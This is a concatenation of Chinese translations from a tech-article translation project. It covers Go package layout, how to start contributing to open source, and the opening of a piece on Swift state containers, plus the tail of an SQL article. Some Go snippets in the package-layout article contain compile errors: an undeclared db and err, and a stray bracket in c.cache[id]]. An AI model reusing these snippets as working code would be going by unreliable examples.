你认为你的查询有一个优化的设计,但不愿意去验证你的假设。 > > - 你会接受第一个成功的查询,它是否是最优的,你并不清楚。」 > 如过你想开始使用 SQL,可以考虑学习 DataCamp 的 [Intro to SQL for Data Science](https://www.datacamp.com/courses/intro-to-sql-for-data-science) 课程! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/standard-package-layout.md ================================================ > * 原文地址:[Standard Package Layout](https://medium.com/@benbjohnson/standard-package-layout-7cdbc8391fc1) > * 原文作者:[Ben Johnson](https://medium.com/@benbjohnson?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/standard-package-layout.md](https://github.com/xitu/gold-miner/blob/master/TODO/standard-package-layout.md) > * 译者:[steinliber](https://github.com/steinliber) > * 校对者:[Albert](https://github.com/Albertao) # 标准化的包布局 ![](https://cdn-images-1.medium.com/max/2000/1*9ViDbBWP6oIcfMvtc3n8_w.jpeg) 一般来说是使用 Vendoring 作为包管理工具。在 Go 社区已经可以看到一些重要的问题,但是有一个问题在社区中很少被提及,即应用的包布局。 我曾经参与编写过的每一个 Go 应用对这个问题似乎都有不同的答案, _我该如何组织我的代码?_ 。一些应用会把所有的东西都放到一个包里,而其它应用则会选择按照类型或模块来组织代码。如果没有一个适用于整个团队的策略,你将发现代码会散布在你应用不同包里面。对于 Go 应用程序包布局的设计我们需要一个更好的标准。 我提议有一个更好的方式。通过遵循一些简单的规则我们就可以解耦我们的代码,使之更易于测试并且可以使我们的项目有一致的结构,在深入探讨这个方式之前,让我们来看下目前人们组织项目一些最常见的方式。 * * * _更新:我收到了很多关于这种方式非常棒的反馈,其中最多的是想要看到一个使用这种方式构建的应用。于是我已经开始重新写一系列文章记录使用这种包布局方式来构建应用,叫做 [_Building WTF Dial_](https://medium.com/@benbjohnson/wtf-dial-domain-model-9655cd523182)._ ### 常见的有缺陷的方式 现在似乎有几种通用的 Go 应用组织方式,它们都有各自的缺陷。 #### 方法 #1: 单个包 把你所有的代码都扔进一个包,对于一个小的应用来说这样就可以很好的工作。它消除了产生循环依赖问题的可能,因为在你的应用代码中并没有任何依赖。 我曾经看到过使用这种方式构建超过 10K 行代码的应用 [SLOC](https://en.wikipedia.org/wiki/Source_lines_of_code)。但是一旦代码量超过这个数量,定位和独立你的代码将会变得非常困难。 #### 方法 #2: Rails 风格布局 另一种组织你代码的方式是根据它的功能类型。比如说,把所有你的 [处理器](https://golang.org/pkg/net/http/#Handler),控制器,模型代码都分别放在独立的包中。我之前看到很多前 [Rails](http://rubyonrails.org/) 开发者(包括我自己)都使用这种方式来组织代码。 但是使用这种方式有两个问题。首先你的命名将会变得糟糕透顶,你最终会得到类似 _controller.UserController_ 这样的命名,在这种命名中你重复了包名和类型名。对于命名,我是一个有执念的人。我相信当你在去除无用代码时名称是你最好的文档。好的名称也是高质量代码的代表,当其他人读代码时总是最先注意到这个。 更大的问题在于循环依赖。你不同的功能类型也许需要互相引用对方。只有当你维护单向依赖关系时,这个应用才能够工作,但是在很多时候维护单向依赖并不简单。 #### 方法 #3:根据模块组织代码 这个方式类似于前面的 Rails 风格布局,但是我们是使用模块来组织代码而不是功能。比如说,你或许会有一个 _user_ 包和一个 _account_ 包。 我们发现使用这种方式也会遇到之前同样的问题。我们最后也会遇到像 _users.User._ 这样可怕的命名。如果我们的 _accounts.Controller_ 需要和 _users.Controller_ 进行交互,那么我们同样会遇到相同的循环依赖问题,反之亦然。 ### 一个更好的方式 我在项目使用的包组织策略涉及到以下4个简单的原则: 1. Root 包是用于域类型的 2. 通过依赖关系来组织子包 3. 使用一个共享的 _mock_ 子包 4. __Main__ 包将依赖关系联系到一起 这些规则帮助隔离我们的包并且在整个应用中定义了一个清晰的领域语言。让我们来看看这些规则在实践中是如何使用的。 ### #1. Root 包是用于域类型的 你的应用有一种用于描述数据和进程是如何交互的逻辑层面的高级语言。这就是你的域。如果你有一个电子商务应用,那你的域就会涉及到客户,账户,信用卡支付,以及存货等内容。如果你的应用是 Facebook,你的域就会是用户,点赞以及用户间的关系。这些是不依赖于你基础技术的东西。 我把我的域类型放在 root 保存。这个包只包含了简单的数据类型,比如说包含用户信息的 _User_ 结构或者是获取和保存用户数据的 _UserService_ 接口。 这个 root 包会像以下这样: ``` package myapp type User struct { ID int Name string Address Address } type UserService interface { User(id int) (*User, error) Users() ([]*User, error) CreateUser(u *User) error DeleteUser(id int) error } ``` 这使你的 root 包变的非常简单。你也可以在这个包里放包含执行操作的类型,但是它们应该只依赖于其它的域类型。比如说,你可以在这个包加一个定期轮询 _UserService_ 的类型。但是,它不应该调用外部服务或者将数据保存到数据库。这些是实现细节。 _root 包不应该依赖于你应用中的其它任何包_ ### #2. 通过依赖关系来组织子包 如果你的 root 包并不允许有外部依赖,那么我们就必须把这些依赖放到子包里。在这种包布局的方式中,子包就相当于你域和实现之间的适配器。 比如说,你的 _UserService_ 可能是由 PostgreSQL 数据库提供支持。你可以在应用中引入一个叫做 _postgres_ 的子包用来提供 _postgres.UserService_ 的实现。 ``` package postgres import ( "database/sql" "github.com/benbjohnson/myapp" _ "github.com/lib/pq" ) // UserService represents a PostgreSQL implementation of myapp.UserService. type UserService struct { DB *sql.DB } // User returns a user for a given id. func (s *UserService) User(id int) (*myapp.User, error) { var u myapp.User row := db.QueryRow(`SELECT id, name FROM users WHERE id = $1`, id) if row.Scan(&u.ID, &u.Name); err != nil { return nil, err } return &u, nil } // implement remaining myapp.UserService interface... ``` 这样就隔离了我们对 PostgreSQL 的依赖关系,从而简化了测试,并为我们将来迁移到其它数据库提供了一种简单的方法。如果你打算支持像 [BoltDB](https://github.com/boltdb/bolt) 这种数据库的实现,就可以把它看作是一个可插拔体系结构。 这也为你实现层级提供了一种方式。比如说你想要在 Postgresql 前面加一个内存缓存 [LRU cache](https://en.wikipedia.org/wiki/Cache_algorithms)。你可以添加一个 _UserCache_ 类型来包装你的 Postgresql 实现。 ``` package myapp // UserCache wraps a UserService to provide an in-memory cache. type UserCache struct { cache map[int]*User service UserService } // NewUserCache returns a new read-through cache for service. func NewUserCache(service UserService) *UserCache { return &UserCache{ cache: make(map[int]*User), service: service, } } // User returns a user for a given id. // Returns the cached instance if available. func (c *UserCache) User(id int) (*User, error) { // Check the local cache first. if u := c.cache[id]]; u != nil { return u, nil } // Otherwise fetch from the underlying service. u, err := c.service.User(id) if err != nil { return nil, err } else if u != nil { c.cache[id] = u } return u, err } ``` 我们也可以在标准库中看到使用这种方式组织代码。_io._ [_Reader_](https://golang.org/pkg/io/#Reader) 是一个用于读取字节的域类型,它的实现是通过组织依赖关系 _tar._[_Reader_](https://golang.org/pkg/archive/tar/#Reader),_gzip._[_Reader_](https://golang.org/pkg/compress/gzip/#Reader), _multipart._[_Reader_](https://golang.org/pkg/mime/multipart/#Reader) 来实现的。在标准库中也可以看到层级方式,经常可以看到 _os._[_File_](https://golang.org/pkg/os/#File) 被 _bufio._[_Reader_](https://golang.org/pkg/bufio/#Reader),_gzip._[_Reader_](https://golang.org/pkg/compress/gzip/#Reader), _tar._[_Reader_](https://golang.org/pkg/archive/tar/#Reader) 这样一个个层级封装。 #### 依赖之间的依赖 依赖关系并不是孤立的。你可以把 _User_ 数据保存在 Postgresql 中,而把金融交易数据保存在像 [Stripe](https://stripe.com/) 这样的第三方服务。在这种情况下我们用一个逻辑上的域类型来封装对 Stripe 的依赖,让我们把它叫做 _TransactionService_ 。 通过把我们的 _TransactionService_ 添加到 _UserService_ ,我们解耦了我们的两个依赖。 ``` type UserService struct { DB *sql.DB TransactionService myapp.TransactionService } ``` 现在我们的依赖只通过共有的领域语言交流。这意味着我们可以把 Postgresql 切换为 MySQL 或者把 Strip 切换为另一个支付的内部处理器而不用担心影响到其它的依赖。 #### 不要只对第三方的依赖添加这个限制 这听起来虽然有点奇怪,但是我也使用这种方式来隔离对标准库的依赖关系。例如 _net/http_ 包只是另一种依赖。我们可以通过在应用中包含一个 _http_ 子包来隔离对它的依赖。 有一个名称与它所包装依赖相同的包看起来似乎很奇怪,但是这只是内部实现。除非你允许你应用的其它部分使用 _net/http_ ,否则在你的应用中就不会有命名冲突。复制 _http_ 名称的好处在于它要求你把所有 HTTP 相关代码都隔离到 _http_ 包中。 ``` package http import ( "net/http" "github.com/benbjohnson/myapp" ) type Handler struct { UserService myapp.UserService } func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { // handle request } ``` 现在,你的 _http.Handler_ 就像是一个在域和 HTTP 协议之前的适配器。 ### #3. 使用一个共享的 mock 子包 因为我们的依赖通过域接口已经和其它的依赖隔离了,所以我们可以使用这些连接点来注入模拟实现。 这里有几个像 [GoMock](https://github.com/golang/mock) 的模拟库来帮你生成模拟数据,但是我个人更喜欢自己写。我发现许多的模拟工具都过于复杂了。 我使用的模拟非常简单。比如说,一个对 _UserService_ 的模拟就像下面这样: ``` package mock import "github.com/benbjohnson/myapp" // UserService represents a mock implementation of myapp.UserService. type UserService struct { UserFn func(id int) (*myapp.User, error) UserInvoked bool UsersFn func() ([]*myapp.User, error) UsersInvoked bool // additional function implementations... } // User invokes the mock implementation and marks the function as invoked. func (s *UserService) User(id int) (*myapp.User, error) { s.UserInvoked = true return s.UserFn(id) } // additional functions: Users(), CreateUser(), DeleteUser() ``` 这个模拟让我可以注入函数到任何使用 _myapp.UserService_ 的接口来验证参数,返回预期的数据或者注入失败。 假设我们想测试我们上面构建的 _http.Handler_ : ``` package http_test import ( "testing" "net/http" "net/http/httptest" "github.com/benbjohnson/myapp/mock" ) func TestHandler(t *testing.T) { // Inject our mock into our handler. var us mock.UserService var h Handler h.UserService = &us // Mock our User() call. us.UserFn = func(id int) (*myapp.User, error) { if id != 100 { t.Fatalf("unexpected id: %d", id) } return &myapp.User{ID: 100, Name: "susy"}, nil } // Invoke the handler. w := httptest.NewRecorder() r, _ := http.NewRequest("GET", "/users/100", nil) h.ServeHTTP(w, r) // Validate mock. if !us.UserInvoked { t.Fatal("expected User() to be invoked") } } ``` 我们的模拟完全隔离了我们的单元测试,让我们只测试 HTTP 协议的处理。 ### #4. __Main__ 包将依赖关系联系到一起 当所有这些依赖包独立维护时,你可能想知道如何把它们聚合到一起。这就是 _main_ 包的工作。 #### Main 包布局 一个应用可能会产生多个二进制文件, 所以我们使用 Go 的惯例把我们的 _main_ 包作为 _cmd_ 包的子目录。 比如,我们的项目中可能有一个 _myapp_ 服务二进制文件,还有一个用于在终端管理服务 的 _myappctl_ 客户端二进制文件。我们的包将像这样布局: ``` myapp/ cmd/ myapp/ main.go myappctl/ main.go ``` #### 在编译时注入依赖 "依赖注入"这个词已经成了一个不好的说法,它让人联想到 [Spring](https://projects.spring.io/spring-framework/) 冗长的XML文件。然而,这个术语所代表的真正含义只是要把依赖关系传递给我们的对象,而不是要求对象构建或者找到这个依赖关系本身。 在 _main_ 包中我们可以选择哪些依赖注入到哪些对象中。因为 _main_ 包只是简单的连接了各部分,所以 _main_ 中的代码往往是比较小和琐碎的。 ``` package main import ( "log" "os" "github.com/benbjohnson/myapp" "github.com/benbjohnson/myapp/postgres" "github.com/benbjohnson/myapp/http" ) func main() { // Connect to database. db, err := postgres.Open(os.Getenv("DB")) if err != nil { log.Fatal(err) } defer db.Close() // Create services. us := &postgres.UserService{DB: db} // Attach to HTTP handler. var h http.Handler h.UserService = us // start http server... } ``` 注意到你的 _main_ 包也是一个适配器很重要。他把所有终端连接到你的域。 ### 结论 应用设计是一个难题。尽管做出了这么多的设计决策,如果没有一套坚实的原则来指导,那你的问题只会变的更糟。我们已经列举了 Go 应用布局设计的几种方式,并且我们也看到了很多它们的缺陷。 我相信从依赖关系的角度来看待设计会使代码组织的更简单,更加容易理解。首先我们设计我们的领域语言,然后我们隔离我们的依赖关系,之后介绍了使用 mock 来隔离我们的测试,最后我们把所有东西都在 _main_ 包中绑了起来。 可以在下一个你设计的应用中考虑下这些原则。如果有您有任何问题或者想讨论这个设计,请在 Twitter 上 @[benbjohnson](https://twitter.com/benbjohnson)与我联系,或者在[Gopher slack](https://gophersinvite.herokuapp.com/) 查找 _benbjohnson_ 来找到我。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/start-your-open-source-career.md ================================================ > * 原文地址:[Start your open-source career](https://blog.algolia.com/start-your-open-source-career/) > * 原文作者:[Vincent Voyer](https://github.com/vvo/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/start-your-open-source-career.md](https://github.com/xitu/gold-miner/blob/master/TODO/start-your-open-source-career.md) > * 译者:[zwwill 木羽](https://github.com/zwwill) > * 校对者:[刘文哲](https://github.com/NeoyeElf)、[SeanW20](https://github.com/SeanW20) # 开启你的开源生涯 今年我做了一次关于如何让开源项目获得成功的演讲,讨论如何通过做好各方面的准备,来确保让我们的开源项目吸引各种各样的贡献,包括提问、撰写文档或更新代码。之后我获得一个反馈信息,「你展示了如何让开源项目成功,这很棒,但**我的开源之路究竟该从何入手呢**」”。这篇文章就是对这个问题的回答,它解释了如何以及从何开始为开源项目做出贡献,以及如何开源自己的项目。 这里所分享的知识都是有经验可寻的:在 [Algolia](https://github.com/algolia) 中我们已经发布并维护了多个开源项目,时间证明这些项目都是成功的,我也花费了大量的时间来参与和创立新的[开源项目](ttps://github.com/vvo)。 ## 千里之行始于足下 ![](https://blog.algolia.com/wp-content/uploads/2017/12/Pastebot-Dragged-Image-21-12-2017-140501-2.png) 六年前在 [Fasterize](https://www.fasterize.com/en/) (一个网站性能加速器供应商),我职业生涯的关键时刻。我们在 [Node.js](https://nodejs.org/en/) workers 上遇到了严重的 [内存泄露问题](https://en.wikipedia.org/wiki/Memory_leak)。在检查完除 Node.js 源码外的所有代码后,我们并没有发现任何可造成此问题的线索。我们的变通策略是每天重启这些 workers 以释放内存,仅此而已,但我们知道这并不是一个优雅的解决方案,因此**我想整体地去了解这个问题**。 当我的联合创始人 [Stéphane](https://www.linkedin.com/in/stephanerios/) 建议我去看看 Node.js 的源码时,我几乎要笑出来。心想:「如果这里有 bug,最大的可能是我们的,而不是那些创造了革命性服务端框架的工程师们造成的。那好吧,我去看看」。两天后,我的两个针对 Node.js http 层的[修复请求](https://github.com/nodejs/node-v0.x-archive/pull/3181#issue-4313777)被通过合并,同时解决了我们自己的内存泄露问题。 这样做让我信心大增。在我敬重的其他 30 个对 http.js 文件作出贡献的人中,不乏 [isaacs](https://github.com/isaacs/) (npm 的创造者)这样优秀的开发者,这让我明白,代码就是代码,不管是谁写的。 你是否正在经历开源项目的 bug?深入挖掘,不要停留在你的临时解决方案。你的解决方案会让更多人受益并且获得更多开源贡献。**读别人的代码**。你可能不会马上修复你的问题,它可能需要一些时间来理解,但是您将学习新的模块、新的语法和不同的编码形式,这都将促使你成为一个开源项目的开发者。 ## 车到山前必有路 [![First contributions labels on the the Node.js repository](https://blog.algolia.com/wp-content/uploads/2017/12/image6.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image6.png) _[Node.js 仓库](https://github.com/nodejs/node/labels/good%20first%20issue)上的首次贡献的标签_ 「我毫无头绪」是那些想为开源社区做贡献但又认为自己没有好的灵感或项目可以分享的开发者们共同的槽点。好吧,对此我想说:that’s OK。是有机会做开源贡献的。许多项目已经开始通过标注或标签为初学者列出优秀的贡献。 你可以通过这些网站找到贡献的灵感:[Open Source Friday](https://opensourcefriday.com/), [First Timers Only](http://www.firsttimersonly.com/), [Your First PR](https://yourfirstpr.github.io/), [CodeTriage](https://www.codetriage.com/), [24 Pull Requests](https://24pullrequests.com/), [Up For Grabs](http://up-for-grabs.net/) 和 [Contributor-ninja](https://contributor.ninja/) (列表出自 [opensource.guide](https://opensource.guide/how-to-contribute/#finding-a-project-to-contribute-to)). ## 构建一些工具 工具化是一种很好的方式来发布一些有用的东西,而不必过多的考虑一些复杂的问题和 API 设计。您可以为您喜欢的框架或平台发布一个模板,将一些博客文章中的知识和工具使用姿势汇集到这个项目中进行诠释,并准备好实时更新和发布新特性。[create-react-app](https://github.com/facebookincubator/create-react-app) 就是一个很好的例子🌰。 [![Screenshot of GitHub's search for 58K boilerplate repositories ](https://blog.algolia.com/wp-content/uploads/2017/12/image5-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image5-2.png) _在 GitHub 上有大约 [五万九千个模板](https://github.com/search?utf8=%E2%9C%93&q=boilerplate&type=) 库,发布一个并不是难事反而对你有益_ 现在,你仍然可以像我们给 Atom 构建[模版自动化导入插件](https://blog.algolia.com/atom-plugin-install-npm-module/)那样对 [Atom](https://github.com/blog/2231-building-your-first-atom-plugin) 和 [Visual Studio Code](https://code.visualstudio.com/docs/extensions/overview) 进行构建纯 JavaScript 插件。那些在 Atom 或者 Sublime Text 中已经存在了的优秀插件是否还没有出现在你最爱的编辑器中?**那就去做一个吧**。 你甚至可以为 [webpack](https://webpack.js.org/contribute/writing-a-plugin/) 或 [babel](https://github.com/thejameskyle/babel-handbook) 贡献插件来解决 JavaScript 技术栈的一些特殊用例。 好的一面是,大多数的平台都会说明**如何创建和发布插件**,所以你不必太过考虑怎么做到这些。 ## 成为新维护者 当你在 GitHub 上浏览项目时,你可能时常会发现或者使用一些**被创建者遗弃的项目**。他们仍然具有价值,但是很多问题和 PRs 被堆放在仓库中一直没有得到维护者的反馈。**此刻你该怎么办**? * 发布一个新命名的分支 * 成为新的维护者 我建议你同时做掉这两点。前者将帮助推进你的项目,而后者将使你和社区受益。 你可能会问,怎样成为新的维护者?发邮件或者在 Twitter 上 @ 现有维护者,并且对他说「你好,我帮你维护这个项目怎么样?」。通常都是行之有效的,并且这是一个很好的方法能让你在一个知名且有价值的项目上开启自己的开源生涯。 [![Example message sent to maintain an abandoned repository](https://blog.algolia.com/wp-content/uploads/2017/12/image2-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image2-2.png) _[示例](https://twitter.com/vvoyer/status/744986995630424064):去复兴一个遗弃的项目_ ## 创建自己的项目 发掘自己项目的最好方法就是**关注一些如今还没有很好解决的问题**。如果你发现,当你需要一个特定的库来解决你的一个问题而未果时,此刻便是你创建一个开源库的最佳时机。 在我职业生涯中还有另外一个**关键时刻**。在 Fasterize,我们需要一个快速且轻量级的图片懒加载器来做我们网站性能加速器,它并不是一个 jQuery 插件,而是一个可在其他网站加载并生效的独立项目。我找了很久也没在整个网络上找到现成的库。于是我说「完了,我没找到一个好的项目,我们没法立项了」。 对此,斯蒂芬回应说「好吧,那我们就创造一个」。嗯~~好吧,我开始复制粘贴一个 [StackOverflow 上的解决方案](https://stackoverflow.com/questions/3228521/stand-alone-lazy-loading-images-no-framework-based) 到 JavaScript 文件夹中,创建了一个[图片懒加载器](https://github.com/vvo/lazyload) 并最终用到了像 [Flipkart.com](https://en.wikipedia.org/wiki/Flipkart) (每月有 2 亿多访问量,印度网站排行第九) 这样的网站上。经过这次成功的实践后,我的思维就被联结到了开源。我突然明白,开源可能是我开发者生涯的另外一部分,而不是一个只有传说和神话的 [10x 程序员](http://antirez.com/news/112)才胜任的领域。 [![Stack Overflow screenshot ](https://blog.algolia.com/wp-content/uploads/2017/12/image1-3.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image1-3.png) _一个没有很好解决的问题: 以可重用的方式解决它!_ **时间尤为重要**。如果你决定不构建可重用的库,而是在自己的应用程序中内联一些代码,那就错失良机了。可能在某个时候,别人将创建这个本该由你创建的项目。不如即刻从你的应用程序中提取并发布这些可复用模块。 ## 发布,推广,分享 为了确保每个有需要的人都乐意来找到你的模块,你必须: * 撰写一个良好的 [README](https://opensource.guide/starting-a-project/#writing-a-readme),并配有[版本徽章](https://shields.io/)和知名度指标 * 为项目创建一个专属且精心设计的在线展示网站。可以在 [Prettier](https://github.com/prettier/prettier) 中找一些灵感 * 在 StackOverflow 和 GitHub 中找到与你已解决问题的相关提问,并将贴出你的项目作为答案 * 将你的项目投放在 [HackerNews](https://news.ycombinator.com/submit), [reddit](https://www.reddit.com/r/programming/),[ProductHunt](https://www.producthunt.com/posts/new), [Hashnode](https://hashnode.com/) 或者其他汇集开源项目的社区中 * 在你的新项目中投递关于你的平台的关联信息 * 参加一些讨论会或者做演讲来介绍你的项目 [![Screenshot of Hacker News post](https://blog.algolia.com/wp-content/uploads/2017/12/image4-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image4-2.png) _向全世界展示你的新项目_ **不要害怕在太多网站发布信息**,只要你深信自己创造出来的东西是有价值的,那么再多的信息也不为过。总的来说,开源社区是很欢迎分享的。 ## 保持耐心持续迭代 在「知名度指标」(star 数和下载数)上,有些项目会在第一天就飞涨,之后便早早地停止上涨了。另外一些项目会在沉淀一年后成为头条最热项目。相信你的项目会在不久后被别人发掘,如果没有,你也将学会一些东西:可能对于其他人来说它是无用的,但对于你的下一个项目来说它将是你的又一笔财富。 **我有很多 star 近似为 0 的项目,比如 [mocha-browse](https://github.com/vvo/mocha-browse)**,但我从不失望,因为我并没有很高的期望。在项目开始是我就这么想:我发现一个好问题,我尽我所能地去解决它,可能有些人会需要它,也可能没有,那又有什么大不了的。 ## 一个解决方案的两个项目 这是我在做开源中最喜欢的部分。2015年在 Algolia,我们在寻找一种解决方案可以单元测试和冻结我们使用 [JSX](https://reactjs.org/docs/jsx-in-depth.html) 输出的 html,以便我们为写 React 组件生成我们的 React UI 库 [InstantSearch.js](https://community.algolia.com/instantsearch.js/)。 由于 JSX 被编译成 function 调用的,因此我们当时的解决方案是编写方法 `expect().toDeepEqual(
            )`,也只是比较两个 function 的调用输出,但是这些调用输出都是复杂的对象树,在运行时可能会输出`Expected {-type: ‘span’, …}`。输入和输出比较是不可行的,而且开发者在测试时也会抓狂。 为了解决这个问题,我们创建了 [algolia/expect-jsx](https://github.com/algolia/expect-jsx),他让我们可以在单元测试中使用 JSX 字符串做比较,而不是那些不可读的对象树。测试的输入和输出将使用相同的语义。我们并没有到此为止,我们并不是仅仅发布一个库,而是两个库,其中一个是在第一个的基础上提炼出来的。 * [algolia/react-element-to-jsx-string](https://github.com/algolia/react-element-to-jsx-string) 将JSX函数返回转换为 JSX 字符串 * [algolia/expect-jsx](https://github.com/algolia/expect-jsx) 用于关联 react-element-to-jsx-string 和断言库 [mjackson/expect](https://github.com/mjackson/expect) 通过发布两个共同解决一个问题的模块,你可以使社区受益于你的底层解决方案,这些方案可以应用在许多不同的项目中,还有一些你甚至想不到的应用方式。 比如,react-element-to-jsx-string 在许多其他的期望测试框架中使用,也有使用在像 [storybooks/addon-jsx](https://github.com/storybooks/addon-jsx) 这类的文档插件上。现在,如果想测试 React 组件的输出结果,使用 [Jest 并进行快照测试](http://facebook.github.io/jest/docs/en/snapshot-testing.html#snapshot-testing-with-jest),在这种情况下就不在需要 expect-jsx 了。 ## 反馈和贡献 [![A fake issue screenshot](https://blog.algolia.com/wp-content/uploads/2017/12/image3-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image3-2.png) _这里有很多问题,当然,这是我为了好看而伪造的🙂_ 一旦你开始了开源的反馈和贡献就要做好开放和乐观的准备。你会得到赞许也会有否定。记住,任何和用户的交流都是一种贡献,尽管这看起来只是抱怨。 首先,要在书面上传达意图或语气并不容易。你可以使用「这很棒、这确实很差劲、我不明白、我很高兴、我很难过」来解释「奇怪了。。」,询问更多的细节并试着重现这个问题,以便更好地理解它是怎么产生的。 一些避免真正抱怨的建议: * 为了更好地引导用户给予反馈,需要为他们提供一个 [ISSUE_TEMPLATE](https://github.com/blog/2111-issue-and-pull-request-templates),可以在创建一个新问题时预填模版。 * 尽量减少对新晋贡献者的阻力。要知道,他们可能还没进入角色状态并很乐意向你学习。不要因为缺少分号 `;` 就拒绝他们的合并请求,要让他们有安全感。你可以温和的请求他们将其补上,如果这招没用,你可以就直接合并代码,然后自己编写测试和文档。 ## 最后 感谢你的阅读,我希望你会喜欢这篇文章,并能帮你找到你想要帮助或者创建的项目。对开源社区做贡献是扩展你的技能的好方法,对每个开发者来说并不是强制性的体验,而是一个走出你的舒适区的好机会。 我现在很期待你的第一个或下一个开放源码项目,可以在 Twitter 上 @ 我 [@vvoyer](https://twitter.com/vvoyer),我很乐意给你一些建议。 如果你喜欢开源,并且想在公司实践而不是空闲时间,Algolia 已经为 [开源 JavaScript 开发者](https://www.algolia.com/careers#60c7c780-1009-4030-8e44-f653fa2ebd36) 提供岗位了。 其他你可以会喜欢的资源: * [opensource.guide](https://opensource.guide/),学习如何启动和发展你的项目 * [Octobox](https://octobox.io/), 将你的 GitHub 通知转成邮件的形式,这是避免因堆积「太多问题」以至于影响关注重要问题的很好的方法 * [Probot](https://probot.github.io/),GitHub App 可以自动化和改善你的工作流程,比如关闭一些非常陈旧的问题 * [Refined GitHub](https://github.com/sindresorhus/refined-github) 在很多层面上为 Github UI 提供了令人钦佩的维护经验 * [OctoLinker](http://octolinker.github.io/) 为在 Github 上浏览别人的代码提供一种很好的体验 感谢 [Ivana](https://twitter.com/voiceofivana)、[Tiphaine](https://www.linkedin.com/in/tiphaine-gillet-01a3735b/)、[Adrien](https://twitter.com/adrienjoly)、[Josh](https://twitter.com/dzello)、[Peter](https://twitter.com/codeharmonics)、[Raymond](https://twitter.com/rayrutjes)、[zwwill 木羽](https://github.com/zwwill)、[刘文哲](https://github.com/NeoyeElf)、[SeanW20](https://github.com/SeanW20) 为这篇文章作出的帮助、审查和贡献。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/state-containers-in-swift.md ================================================ > * 原文地址:[Reactive iOS Programming: Lightweight State Containers in Swift](https://www.captechconsulting.com/blogs/state-containers-in-swift) > * 原文作者:[Tyler Tillage](https://www.captechconsulting.com/search#q=Tyler Tillage) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/state-containers-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/state-containers-in-swift.md) > * 译者:[deepmissea](http://deepmissea.blue) > * 校对者:[FlyOceanFish](http://www.jianshu.com/u/48277aa2055d) # iOS 响应式编程:Swift 中的轻量级状态容器 ## 事物的状态 在客户端架构如何工作上,每一个 iOS 和 MacOS 开发者都有不同的细微见解。从最经典的苹果框架所内嵌的 [MVC 模式](https://developer.apple.com/library/content/documentation/General/Conceptual/DevPedia-CocoaCore/MVC.html)(读作:臃肿的视图控制器),到那些 MV* 模式(比如 MVP,MVVM),再到听起来有点吓人的 [Viper](https://www.objc.io/issues/13-architecture/viper/),那么我们该如何选择? 这篇文章并不会回答你的问题,因为正确的答案是**依据环境而定的**。我想要强调的是一个我很喜欢并且经常看到的基本方法,名为**状态容器**。 ## 状态容器是什么? 实质上,状态容器只是一个围绕信息的封装,是数据安全输入输出的守护者。他们不是特别在意数据的类型和来源。但是他们非常在意的是当数据**改变**的时候。状态容器的中心思想就是,任何由于状态改变产生的影响都应该以有组织并且可预测这种方式在应用里传递。 > 状态容器以与线程锁相同的方式提供安全的状态。 这并不是一个新的概念,而且它也不是一个你可以集成到整个应用的工具包。状态容器的理念是非常通用的,它可以融入进任何应用程序架构,而无需太多的附加规则。但是它是一个强大的方法,是很多流行库(比如[ReactiveReSwift](https://github.com/ReSwift/ReactiveReSwift))的核心,比如 [ReSwift](https://github.com/ReSwift/ReSwift)、[Redux](https://github.com/reactjs/redux)、[Flux](https://github.com/facebook/flux) 等等,这些框架的成功和绝对数量说明了状态容器模式在现代移动应用中的有效性。 就像 `ReSwift` 这样的响应式库,状态容器将 `Action` 和 `View` 之间的缺口桥联为单向数据流的一部分。然而即使没有其他两个组件,状态容器也很强力。实际上,他们可以做的比这些库使用的更多。 